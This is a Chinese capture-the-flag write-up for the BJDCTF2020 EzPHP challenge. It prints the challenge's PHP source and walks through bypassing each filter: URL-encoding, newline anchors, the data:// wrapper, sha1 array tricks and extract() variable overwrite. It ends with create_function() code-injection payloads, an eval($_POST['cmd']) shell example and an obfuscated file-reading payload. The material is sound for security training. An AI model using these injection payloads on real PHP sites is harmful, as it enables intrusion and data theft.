码迷,mamicode.com
首页 > Web开发 > 详细

[BJDCTF2020]EzPHP

时间:2020-07-06 16:34:32      阅读:111      评论:0      收藏:0      [点我收藏+]

标签:限制   sys   $_server   reporting   xxxxxx   cti   com   利用   存在   

[BJDCTF2020]EzPHP

解码:http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php

源代码:

 <?php
highlight_file(__FILE__);
error_reporting(0); 

$file = "1nD3x.php";
$shana = $_GET[‘shana‘];
$passwd = $_GET[‘passwd‘];
$arg = ‘‘;
$code = ‘‘;

echo "<br /><font color=red><B>This is a very simple challenge and if you solve it I will give you a flag. Good Luck!</B><br></font>";

if($_SERVER) { 
    if (
        preg_match(‘/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\‘|log/i‘, $_SERVER[‘QUERY_STRING‘])
        )  
        die(‘You seem to want to do something bad?‘); 
}

if (!preg_match(‘/http|https/i‘, $_GET[‘file‘])) {
    if (preg_match(‘/^aqua_is_cute$/‘, $_GET[‘debu‘]) && $_GET[‘debu‘] !== ‘aqua_is_cute‘) { 
        $file = $_GET["file"]; 
        echo "Neeeeee! Good Job!<br>";
    } 
} else die(‘fxck you! What do you want to do ?!‘);

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match(‘/[a-zA-Z]/i‘, $value))  
            die(‘fxck you! I hate English!‘); 
    } 
} 

if (file_get_contents($file) !== ‘debu_debu_aqua‘)
    die("Aqua is the cutest five-year-old child in the world! Isn‘t it ?<br>");


if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don‘t know my password! And you don‘t know sha1! why you come here!");
}

if(preg_match(‘/^[a-z0-9]*$/isD‘, $code) || 
preg_match(‘/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\‘|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i‘, $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can‘t get my flag =w="); 
} else { 
    include "flag.php";
    $code(‘‘, $arg); 
} ?> 

关于第一处限制:

if($_SERVER) { 
    if (
        preg_match(‘/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\‘|log/i‘, $_SERVER[‘QUERY_STRING‘])
        )  
        die(‘You seem to want to do something bad?‘); 
} 

关于$_SERVER[‘QUERY_STRING‘].他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词编码就能绕过。

关于第二处限制:

if (!preg_match(‘/http|https/i‘, $_GET[‘file‘])) {
    if (preg_match(‘/^aqua_is_cute$/‘, $_GET[‘debu‘]) && $_GET[‘debu‘] !== ‘aqua_is_cute‘) {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die(‘fxck you! What do you want to do ?!‘);

preg_match值匹配第一行,句尾加上%0a进行绕过,绕过preg_match主要有两种方法即换行符与PRCE回溯此处超出。

payload:dedu=aqua_is_cute%0a

关于第三处限制:

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match(‘/[a-zA-Z]/i‘, $value))  
            die(‘fxck you! I hate English!‘); 
    } 
}  

$_REQUEST方式接收请求是存在优先级别的,如果同时接受GET和POST的数据,默认情况下POST具有优先权,所以只需要在get的同时post数字即可。

payload:POST:debu=1&file=1

关于第四处限制:

if (file_get_contents($file) !== ‘debu_debu_aqua‘)
    die("Aqua is the cutest five-year-old child in the world! Isn‘t it ?<br>"); 

这里利用data协议即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

与此同时file也需要被post一下。

关于第四处限制:

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don‘t know my password! And you don‘t know sha1! why you come here!");
} 

这里利用数组进行一下绕过就可以了,因为当sha1()的参数为数组,此时就会返回false。

payload:
shana[]=1&passwd[]=2

关于第五处限制:

if(preg_match(‘/^[a-z0-9]*$/isD‘, $code) || 
preg_match(‘/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\‘|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i‘, $arg) ) { 
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can‘t get my flag =w="); 
} else { 
    include "flag.php";
    $code(‘‘, $arg); 
} ?>

这里利用到了create_function()代码注入。

create_function()函数有两个参数$args和$code,用于创建一个lambda样式的函数

例如:$myfunc = create_function(‘$a, $b‘, ‘return $a+$b;‘);
相当于:

function myfunc($a, $b){
    return $a+$b;
}    

与此同时当第二个参数无限制时:

$code=return $a+$b;}eval($_POST[‘cmd‘]);//

就会变成:

function myfunc($a, $b){
    return $a+$b;
}
eval($_POST[‘cmd‘]);//}  

看到这道题,在上一阶段sha1比较的过程中,extract($_GET["flag"]);这里我们可以进行变量覆盖,从而掌控住arg变量与code变量。
同时根据上面的介绍我们可以通过必和符号来执行自己定义的函数:

&flag[arg]=}a();//&flag[code]=create_function

拼接过后就应该是:

function {}a();//}

这样子了。

这个a我们是可以随时改成其他的函数的。

但是此时很多函数都被禁用了,文件中包含了flag这个文件,利用get_defined_vars()将所有变量与值都进行输出,此时payload就为:

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

输出出来但还不是真正的flag,提示我们是在另一个文件里面,flag4.php,此时我们可以利用require,来代替include,利用base64编码绕过flag的过滤,利用require()来代替require" "。

payload:flag[arg]=}require(base64_decode(xxxxxxx));var_dump(get_defined_vars());//&flag[code]=create_function

非预期解:利用异或或者~进行取反操作。

最终payload:
GET:

http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23  

POST:

debu=1&file=1

[BJDCTF2020]EzPHP

标签:限制   sys   $_server   reporting   xxxxxx   cti   com   利用   存在   

原文地址:https://www.cnblogs.com/ophxc/p/13254970.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!